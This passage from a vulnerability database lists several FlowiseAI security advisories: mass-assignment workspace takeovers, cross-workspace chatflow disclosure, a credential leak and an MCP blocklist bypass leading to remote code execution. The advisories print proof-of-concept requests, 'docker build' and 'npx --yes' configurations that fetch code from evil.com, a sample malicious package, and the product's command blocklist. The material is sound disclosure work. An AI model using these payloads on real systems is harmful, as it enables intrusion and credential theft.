that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. 4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row. 5. Final state: the evaluation row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update. ## Security Impact **Severity:** High. Cross-workspace boundary violation by any authenticated workspace member. **Attacker capability:** Any authenticated user with permission to update a evaluation can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluation runs (which may include captured prompts, model outputs, scoring data) can be moved cross-workspace via `workspaceId` overwrite, exposing the data to attacker workspace members. **Preconditions:** Authenticated session with edit permission for the source evaluation. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial. **Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it. ## Suggested Fix Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied). ```ts // Allowlist pattern (matches commit 840d2ae for DocumentStore): const updatedEvaluation = new Evaluation() if (body.<allowed_field_1> !== undefined) updatedEvaluation.<allowed_field_1> = body.<allowed_field_1> if (body.<allowed_field_2> !== undefined) updatedEvaluation.<allowed_field_2> = body.<allowed_field_2> // ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client. ``` Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. CVE-2026-46479
GHSA-mq53-pc65-wjc4
VCID-kzsh-jhad-cqcn FlowiseAI: Assistant create+update mass-assignment allows cross-workspace assistant takeover ## Summary **Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the Assistant entity -> cross-workspace data takeover and IDOR. **File:** `packages/server/src/services/assistants/index.ts` **Root cause:** The Assistant controller/service constructs a `new Assistant()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the assistant entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae. ## Affected Code **File:** `packages/server/src/services/assistants/index.ts` ```ts // create (line 303) and update (line 381) Object.assign(newAssistant, requestBody) // <-- BUG: requestBody.id, requestBody.workspaceId accepted ``` **Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity. ## Exploit Chain 1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A. 2. Attacker creates a assistant in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`. 3. Attacker issues a `PUT /api/v1/assistants/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. 4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row. 5. Final state: the assistant row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update. ## Security Impact **Severity:** High. Cross-workspace boundary violation by any authenticated workspace member. **Attacker capability:** Any authenticated user with permission to update a assistant can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Assistants encapsulate LLM configuration, instructions, attached tools, and credentials. Cross-workspace movement via `workspaceId` overwrite exposes the assistant (including its system prompt and tool list) to the destination workspace. **Preconditions:** Authenticated session with edit permission for the source assistant. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial. **Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it. ## Suggested Fix Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6128 (allowlist pattern applied). ```ts // Allowlist pattern (matches commit 840d2ae for DocumentStore): const updatedAssistant = new Assistant() if (body.<allowed_field_1> !== undefined) updatedAssistant.<allowed_field_1> = body.<allowed_field_1> if (body.<allowed_field_2> !== undefined) updatedAssistant.<allowed_field_2> = body.<allowed_field_2> // ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client. ``` Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. CVE-2026-46475
GHSA-78pr-c5x5-jggc
VCID-nvn6-cx9m-ebd8 FlowiseAI: DatasetRow create+update mass-assignment allows cross-workspace row takeover ## Summary **Type:** Mass assignment via `Object.assign(entity, body)` -> client-controlled `workspaceId` (and on create, `id`) overwritten on the DatasetRow entity -> cross-workspace data takeover and IDOR. **File:** `packages/server/src/services/dataset/index.ts` **Root cause:** The DatasetRow controller/service constructs a `new DatasetRow()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the datasetrow entity's sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae. ## Affected Code **File:** `packages/server/src/services/dataset/index.ts` ```ts // create (line 274) and update (line 315) Object.assign(newRow, rowBody) // <-- BUG: rowBody.id, rowBody.datasetId accepted ``` **Why it's wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity. ## Exploit Chain 1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A. 2. Attacker creates a datasetrow in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`. 3. Attacker issues a `PUT /api/v1/datasetrows/<id>` (or equivalent endpoint) with a JSON body that includes `"workspaceId": "<workspace-B-id>"` (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. 4. The controller calls `Object.assign(updateEntity, body)`. The body's `workspaceId` overwrites the entity's `workspaceId` field. The persistence layer commits the row. 5. Final state: the datasetrow row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update. ## Security Impact **Severity:** High. Cross-workspace boundary violation by any authenticated workspace member. **Attacker capability:** Any authenticated user with permission to update a datasetrow can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). DatasetRows hold individual training/evaluation records. The mass assignment lets a member rebind a row to a Dataset in another workspace via `datasetId`, exposing the row content to the destination workspace. **Preconditions:** Authenticated session with edit permission for the source datasetrow. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object's `workspaceId` field, so target enumeration is trivial. **Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it. ## Suggested Fix Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6051 (allowlist pattern applied). ```ts // Allowlist pattern (matches commit 840d2ae for DocumentStore): const updatedDatasetRow = new DatasetRow() if (body.<allowed_field_1> !== undefined) updatedDatasetRow.<allowed_field_1> = body.<allowed_field_1> if (body.<allowed_field_2> !== undefined) updatedDatasetRow.<allowed_field_2> = body.<allowed_field_2> // ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client. ``` Regression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths. CVE-2026-46478
GHSA-7j65-65cr-6644
VCID-rz5v-8rw8-k7cv Flowise: Cross-Workspace Chatflow Disclosure via chatflows/apikey Endpoint Returns All Unprotected Chatflows ## Summary The `/api/v1/chatflows/apikey/:apikey` endpoint (whitelisted, accessible with API key auth only) returns all chatflows bound to the provided API key AND all chatflows across the entire system that have no API key assigned. This crosses workspace boundaries, allowing a user in Workspace A who has a valid API key to read the full configuration (including flowData, chatbotConfig, system prompts, and node configurations) of chatflows from Workspace B, Workspace C, and all other workspaces, as long as those chatflows have no API key assigned. ## Details The controller at `packages/server/src/controllers/chatflows/index.ts:90-107` validates the API key and calls the service: ```typescript const getChatflowByApiKey = async (req: Request, res: Response, next: NextFunction) => { try { const apikey = await apiKeyService.getApiKey(req.params.apikey) if (\!apikey) { return res.status(401).send("Unauthorized") } const apiResponse = await chatflowsService.getChatflowByApiKey(apikey.id, req.query.keyonly) return res.json(apiResponse) // Returns full chatflow objects with flowData } catch (error) { next(error) } } ``` The service at `packages/server/src/services/chatflows/index.ts:223-245` builds the database query: ```typescript const getChatflowByApiKey = async (apiKeyId: string, keyonly?: unknown): Promise<any> => { const appServer = getRunningExpressApp() let query = appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder("cf") .where("cf.apikeyid = :apikeyid", { apikeyid: apiKeyId }) if (keyonly === undefined) { // When keyonly is not set (default), also return ALL chatflows with no API key query = query.orWhere("cf.apikeyid IS NULL").orWhere("cf.apikeyid = ''") } const dbResponse = await query.orderBy("cf.name", "ASC").getMany() return dbResponse // Returns full ChatFlow entities including flowData } ``` When `keyonly` is not provided as a query parameter (which is the default case), the query expands to include: - All chatflows bound to the provided API key (same workspace, expected behavior) - ALL chatflows with `apikeyid IS NULL` (any workspace, no workspace filter) - ALL chatflows with empty `apikeyid` (any workspace, no workspace filter) There is NO `workspaceId` filter in this query. The response includes the full `ChatFlow` entity, which contains: - `flowData` - the complete workflow graph including system prompts, model names, internal URLs, custom code - `chatbotConfig` - chatbot configuration including allowed origins - `apiConfig` - API configuration and override settings - `textToSpeech` / `speechToText` - TTS/STT configuration including credential IDs - `analytic` - analytics configuration ## PoC ```bash # Step 1: Attacker has a valid API key for Workspace A API_KEY="<attacker-workspace-a-api-key>" # Step 2: Query the chatflows/apikey endpoint WITHOUT keyonly parameter # Returns the attacker chatflows PLUS all chatflows without API keys from ALL workspaces curl -s "http://localhost:3000/api/v1/chatflows/apikey/" | jq ".[].workspaceId" # Step 3: With keyonly parameter, only chatflows bound to the API key are returned curl -s "http://localhost:3000/api/v1/chatflows/apikey/?keyonly=true" | jq ".[].workspaceId" ``` ## Impact - **Cross-Workspace Information Disclosure**: A user in any workspace can read the full configuration of chatflows from all other workspaces that do not have an API key assigned. This breaks workspace isolation. - **Intellectual Property Exposure**: System prompts, custom function code, and workflow architecture of chatflows from other workspaces/organizations are exposed. - **Credential Reference Leakage**: The `textToSpeech` and `speechToText` fields include credential IDs, which can be abused via the TTS generate endpoint. - **Amplified by Default**: Most chatflows are created without an API key assigned (API keys are opt-in), so the majority of chatflows in a multi-workspace deployment are affected. ## Recommended Fix Add workspace scoping to the `getChatflowByApiKey` query by passing the API key workspace ID and filtering the OR clause: ```typescript // packages/server/src/services/chatflows/index.ts const getChatflowByApiKey = async (apiKeyId: string, keyonly?: unknown, workspaceId?: string): Promise<any> => { const appServer = getRunningExpressApp() let query = appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder("cf") .where("cf.apikeyid = :apikeyid", { apikeyid: apiKeyId }) if (keyonly === undefined && workspaceId) { // Only include unprotected chatflows from the SAME workspace query = query.orWhere( "(cf.apikeyid IS NULL OR cf.apikeyid = :empty) AND cf.workspaceId = :workspaceId", { empty: "", workspaceId } ) } const dbResponse = await query.orderBy("cf.name", "ASC").getMany() return dbResponse } ``` GHSA-c2c9-mfw7-p8hw
VCID-t13w-yu7p-ubbd Flowise has an MCP Security Bypass that Enables RCE ## Summary There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods ## Details ### 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command Vulnerable function - validateCommandFlags: ``` file: packages/components/nodes/tools/MCP/core.ts:260-310 const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = { docker: [ 'run', 'exec', '-v', '--volume', '--privileged', '--cap-add', '--security-opt', '--network', '--pid', '--ipc' // 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist ], npx: ['-c', '--call', '--shell-auto-fallback', '-y'], npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'], // ... } export function validateCommandFlags(command: string, args: string[]): ValidationResult { const blacklist = COMMAND_FLAG_BLACKLIST[command] || [] for (const arg of args) { if (blacklist.includes(arg)) { return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` } } } return { valid: true } } ``` Reproduction process: Add MCP config via UI or API interface, for example: <img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" /> Then execute: ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` After execution, the command can be triggered to execute docker build http://evil.com <img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" /> If a privileged container is deployed, then it can fully control the Flowise host machine ### 【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command npx blocklist: ``` file: packages/components/nodes/tools/MCP/core.ts:270-280 npx: ['-c', '--call', '--shell-auto-fallback', '-y'], // Only the short parameter -y is present, without the long parameter alias --yes ``` Reproduction process: Add MCP config via UI or API interface, for example: <img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" /> ``` { "command": "npx", "args":["--yes", "http://evil.com/FileName.tar"] } ``` Contents of the tar file: ``` // index.js #!/usr/bin/env node const http = require('http'); const { execSync } = require('child_process'); const result = execSync('id && hostname').toString().trim(); console.error('[MCP-RCE-002] npx --yes bypass: ' + result); // package.json { "name": "attacker-mcp-pkg", "version": "1.0.0", "bin": { "attacker-mcp-pkg": "./index.js" }, "scripts": { "postinstall": "" } } ``` Then execute: ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` can trigger the vulnerability, execute the attacker's commands, and achieve RCE: <img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" /> ### node command bypassing local file restrictions leads to remote code execution When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE Precondition: Have a Flowise account Analysis of Vulnerable Code: ``` // packages/components/nodes/tools/MCP/core.ts:177-220 export const validateArgsForLocalFileAccess = (args: string[]): void => { const dangerousPatterns = [ // Absolute paths /^\/[^/]/, // Unix absolute paths starting with / /^[a-zA-Z]:\\/, // Windows absolute paths like C:\ // Relative paths that could escape current directory /\.\.\//, // Parent directory traversal with ../ /\.\.\\/, // Parent directory traversal with ..\ /^\.\./, // Starting with .. // Local file access patterns /^\.\//, // Current directory with ./ /^~\//, // Home directory with ~/ /^file:\/\//, // File protocol // Common file extensions that shouldn't be accessed /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i, // File flags and options that could access local files /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i, /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i ] ``` The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/') <img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" /> Therefore, the limitation of this function can be bypassed by starting with // ** Reproduction process: ** Create a new chatflow as follows: <img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" /> After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow: <img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" /> For example: ``` ~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js ``` Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method: <img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" /> ``` POST /api/v1/export-import/import HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 479 { "ChatMessage": [ { "id": "11111111-2222-4333-8444-555555555555", "role": "userMessage", "chatflowid": "{chatflow_id}", "content": "seed for home path test", "chatType": "EXTERNAL", "chatId": "audit-home-001", "createdDate": "2026-03-04T06:40:00.000Z", "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]" } ] } ``` <img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" /> ``` POST /api/v1/export-import/chatflow-messages HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 57 {"chatflowId":"{chatflow_id}"} ``` After obtaining the absolute path, simply modify the path in args to the path of the file name: ``` { "command": "node", "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"] } ``` After saving, execution will trigger RCE ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` ## Impact This vulnerability allows attackers to execute arbitrary commands on the Flowise server . GHSA-m99r-2hxc-cp3q
VCID-xaed-rw4w-1ueg FlowiseAI Vulnerable to Credential Data Leak **Severity**: HIGH (CVSS ~7.5) **Type**: CWE-200 (Exposure of Sensitive Information) **File**: `packages/server/src/services/credentials/index.ts:62-71` **Description**: When credentials are fetched with a `credentialName` filter parameter, the `encryptedData` field is NOT stripped from the response. The code properly omits `encryptedData` when NO filter is used (line 102) but fails to do so when a filter IS used (lines 62-63, 70-71). Credential Data Leak **Evidence**: ```typescript // Lines 62-63: WITH filter - encryptedData LEAKED const credentials = await appServer.AppDataSource.getRepository(Credential).findBy(searchOptions) dbResponse.push(...credentials) // encryptedData NOT removed! // Lines 100-102: WITHOUT filter - encryptedData properly omitted for (const credential of credentials) { dbResponse.push(omit(credential, ['encryptedData'])) // Correctly omitted } ``` **Impact**: Authenticated users can extract encrypted credential data (API keys, passwords, tokens for services like OpenAI, AWS, etc.). Combined with access to the encryption key file (`~/.flowise/encryption.key` written with default permissions), this enables full credential theft. **Reproduction**: ```bash curl https://TARGET/api/v1/credentials?credentialName=openAIApi \ -H "Authorization: Bearer API_KEY" # Response includes encryptedData field with AES-encrypted credentials ``` CVE-2026-46443
GHSA-7g73-99r4-m4mj
VCID-y6ma-3sqr-17ct FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment ### Summary A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI. The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource. Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces. This behavior may break tenant isolation in multi-workspace environments. ### Details The endpoint responsible for updating variables: **PUT /api/v1/variables/{variableId}** accepts a JSON request body containing the variable definition. However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server. Server-controlled fields that can be manipulated include: - workspaceId - createdDate - updatedDate These fields appear to be directly mapped to the database entity without strict input validation or authorization checks. For example, the following request body was accepted by the server: ```json { "name": "aaa", "value": "bbbe", "type": "static", "createdDate": "2016-03-06T17:59:30.000Z", "updatedDate": "2016-03-06T18:00:17.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` The server accepted the attacker-controlled workspaceId and metadata fields and persisted them. ### PoC **Request** ```http PUT /api/v1/variables/<VARIABLE_ID> Content-Type: application/json { "name": "aaa", "value": "bbbe", "type": "static", "createdDate": "2016-03-06T17:59:30.000Z", "updatedDate": "2016-03-06T18:00:17.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` **Response** ```json { "id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674", "name": "aaa", "value": "bbbe", "type": "static", "createdDate": "2016-03-06T17:59:30.000Z", "updatedDate": "2026-03-06T18:05:17.000Z", "workspaceId": "11111111-2222-3333-4444-555555555555" } ``` This confirms that the backend accepts and persists attacker-controlled internal properties. ### Impact This vulnerability allows authenticated users to manipulate internal attributes of variable resources. Possible impacts include: 1. Cross-workspace reassignment of variables (workspaceId) 2. Unauthorized modification of metadata (createdDate, updatedDate) 3. Potential tenant isolation bypass in multi-workspace deployments In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization. CVE-2026-42861
GHSA-6fw7-3q8r-m5vj

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-08T19:48:15.081439+00:00 GHSA Importer Fixing VCID-fvm6-q98f-ukeb https://github.com/advisories/GHSA-wxrr-jp8m-qq7f 38.6.0
2026-06-08T19:48:15.064935+00:00 GHSA Importer Fixing VCID-jnbz-nkv5-sqgc https://github.com/advisories/GHSA-mq53-pc65-wjc4 38.6.0
2026-06-08T19:48:15.047887+00:00 GHSA Importer Fixing VCID-nvn6-cx9m-ebd8 https://github.com/advisories/GHSA-7j65-65cr-6644 38.6.0
2026-06-08T19:48:15.031169+00:00 GHSA Importer Fixing VCID-e7gn-zz4y-6bax https://github.com/advisories/GHSA-5h9v-837x-m97r 38.6.0
2026-06-08T19:48:15.012286+00:00 GHSA Importer Fixing VCID-2nte-wynr-4uby https://github.com/advisories/GHSA-728h-4mwj-f2p4 38.6.0
2026-06-08T19:48:14.994277+00:00 GHSA Importer Fixing VCID-kzsh-jhad-cqcn https://github.com/advisories/GHSA-78pr-c5x5-jggc 38.6.0
2026-06-08T19:48:14.976787+00:00 GHSA Importer Fixing VCID-79yr-p69u-w7b6 https://github.com/advisories/GHSA-hmg2-jjjx-jcp2 38.6.0
2026-06-08T19:48:14.653346+00:00 GHSA Importer Fixing VCID-xaed-rw4w-1ueg https://github.com/advisories/GHSA-7g73-99r4-m4mj 38.6.0
2026-06-08T19:48:14.635123+00:00 GHSA Importer Fixing VCID-18mf-vead-kybk https://github.com/advisories/GHSA-9rvc-vf7m-pgm2 38.6.0
2026-06-07T20:55:40.435788+00:00 GHSA Importer Fixing VCID-jmqa-eb3a-83gb https://github.com/advisories/GHSA-hp26-q66v-q2w7 38.6.0
2026-06-07T20:55:40.330407+00:00 GHSA Importer Fixing VCID-t13w-yu7p-ubbd https://github.com/advisories/GHSA-m99r-2hxc-cp3q 38.6.0
2026-06-07T20:55:40.283785+00:00 GHSA Importer Fixing VCID-hach-m315-dqhz https://github.com/advisories/GHSA-php6-83fg-gw3g 38.6.0
2026-06-07T20:55:40.200103+00:00 GHSA Importer Fixing VCID-9fsx-rb6w-zfg2 https://github.com/advisories/GHSA-5wxp-qjgq-fx6m 38.6.0
2026-06-07T20:55:40.115391+00:00 GHSA Importer Fixing VCID-fh76-b76t-t3b2 https://github.com/advisories/GHSA-x5v6-pj28-cwwm 38.6.0
2026-06-07T20:55:40.033936+00:00 GHSA Importer Fixing VCID-y6ma-3sqr-17ct https://github.com/advisories/GHSA-6fw7-3q8r-m5vj 38.6.0
2026-06-05T22:06:20.014347+00:00 GHSA Importer Fixing VCID-rz5v-8rw8-k7cv https://github.com/advisories/GHSA-c2c9-mfw7-p8hw 38.6.0
2026-06-05T22:06:19.872238+00:00 GHSA Importer Fixing VCID-bzwr-tg6h-eqec https://github.com/advisories/GHSA-59fh-9f3p-7m39 38.6.0
2026-06-05T22:06:19.736430+00:00 GHSA Importer Fixing VCID-337r-8vdn-s3ha https://github.com/advisories/GHSA-m837-xvxr-vqwg 38.6.0
2026-06-04T17:05:01.857331+00:00 GithubOSV Importer Fixing VCID-jmqa-eb3a-83gb https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hp26-q66v-q2w7/GHSA-hp26-q66v-q2w7.json 38.6.0
2026-06-04T17:05:01.787905+00:00 GithubOSV Importer Fixing VCID-jnbz-nkv5-sqgc https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-mq53-pc65-wjc4/GHSA-mq53-pc65-wjc4.json 38.6.0
2026-06-04T17:04:58.379419+00:00 GithubOSV Importer Fixing VCID-rz5v-8rw8-k7cv https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-c2c9-mfw7-p8hw/GHSA-c2c9-mfw7-p8hw.json 38.6.0
2026-06-04T17:04:49.047229+00:00 GithubOSV Importer Fixing VCID-337r-8vdn-s3ha https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m837-xvxr-vqwg/GHSA-m837-xvxr-vqwg.json 38.6.0
2026-06-04T17:04:35.317687+00:00 GithubOSV Importer Fixing VCID-fh76-b76t-t3b2 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-x5v6-pj28-cwwm/GHSA-x5v6-pj28-cwwm.json 38.6.0
2026-06-04T17:04:18.641516+00:00 GithubOSV Importer Fixing VCID-18mf-vead-kybk https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9rvc-vf7m-pgm2/GHSA-9rvc-vf7m-pgm2.json 38.6.0
2026-06-04T17:03:48.418901+00:00 GithubOSV Importer Fixing VCID-2nte-wynr-4uby https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-728h-4mwj-f2p4/GHSA-728h-4mwj-f2p4.json 38.6.0
2026-06-04T17:03:31.661910+00:00 GithubOSV Importer Fixing VCID-9fsx-rb6w-zfg2 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-5wxp-qjgq-fx6m/GHSA-5wxp-qjgq-fx6m.json 38.6.0
2026-06-04T17:03:31.596033+00:00 GithubOSV Importer Fixing VCID-hach-m315-dqhz https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-php6-83fg-gw3g/GHSA-php6-83fg-gw3g.json 38.6.0
2026-06-04T17:03:06.770840+00:00 GithubOSV Importer Fixing VCID-kzsh-jhad-cqcn https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-78pr-c5x5-jggc/GHSA-78pr-c5x5-jggc.json 38.6.0
2026-06-04T17:03:03.024534+00:00 GithubOSV Importer Fixing VCID-79yr-p69u-w7b6 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hmg2-jjjx-jcp2/GHSA-hmg2-jjjx-jcp2.json 38.6.0
2026-06-04T17:02:36.111136+00:00 GithubOSV Importer Fixing VCID-t13w-yu7p-ubbd https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m99r-2hxc-cp3q/GHSA-m99r-2hxc-cp3q.json 38.6.0
2026-06-04T17:01:24.131168+00:00 GithubOSV Importer Fixing VCID-e7gn-zz4y-6bax https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-5h9v-837x-m97r/GHSA-5h9v-837x-m97r.json 38.6.0
